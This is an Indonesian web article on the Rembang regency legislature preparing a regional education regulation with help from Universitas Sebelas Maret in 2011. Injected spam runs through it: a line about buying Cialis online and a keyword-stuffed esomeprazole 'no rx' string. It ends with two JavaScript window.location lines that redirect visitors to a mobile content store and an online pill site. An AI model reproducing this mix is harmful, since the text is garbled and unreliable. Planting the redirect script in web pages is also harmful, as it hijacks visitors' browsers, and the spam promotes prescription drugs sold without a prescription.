Pendidikan merupakan investasi masa depan yang memiliki nilai dan arti bagi setiap manusia, dan memiliki muara sebagai pengembangan sumber daya manusia serta dapat menjamin kelangsungan hidup masa depan yang dapat melayani seluruh warga masyarakat di daerah tanpa membedakan status sosial, ekonomi dan sebagainya.
where should you buy brand Cialis online?
Undang-Undang Nomor 32 Tahun 2004 tentang Pemerintahan Daerah dan Undang-Undang Nomor 20 Tahun 2003 tentang Sistem Pendidikan Nasional memberikan wewenang dan tanggung jawab kepada Pemerintah Daerah dalam urusan pendidikan, hal tersebut merupakan salah satu dasar bagi Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Rembang dalam penyusunan rancangan peraturan daerah inisiatif DPRD tentang pendidikan. Dengan berdasarkan pada Surat Perjanjian Kerja Sama Nomor 415.4/116/2011 dan Nomor 112/H27.11/TU/2011 tanggal 28 Februari 2011 tentang kegiatan pendampingan penyusunan naskah akademik rancangan peraturan daerah (raperda) tentang pendidikan di Kabupaten Rembang, Pusat Pengkajian Kebijakan Daerah dan Kelembagaan (PPKDK) Lembaga Penelitian dan Pengabdian Kepada Masyarakat (LPPM) Universitas Sebelas Maret Surakarta telah melakukan rangkaian kegiatan pendampingan mulai bulan Februari sampai dengan bulan Mei 2011.
cheap esomeprazole online no rx saturday delivery order esomeprazole cod saturday order esomeprazole cod next day esomeprazole buy esomeprazole special essay writing service xrВ
Menurut Kepala PPKDK LPPM UNS, Tuhana, SH, MSi kegiatan ini dilakukan untuk mengoptimalkan tugas dan fungsi Badan Legislasi DPRD Kabupaten Rembang dalam menjalankan fungsi legislasi nya.
window.location = “http://www.mobilecontentstore.mobi/?sl=319481-c261c&data1=Track1&data2=Track2”; window.location = “http://cheap-pills-norx.com/search.htm?route=search&q=”;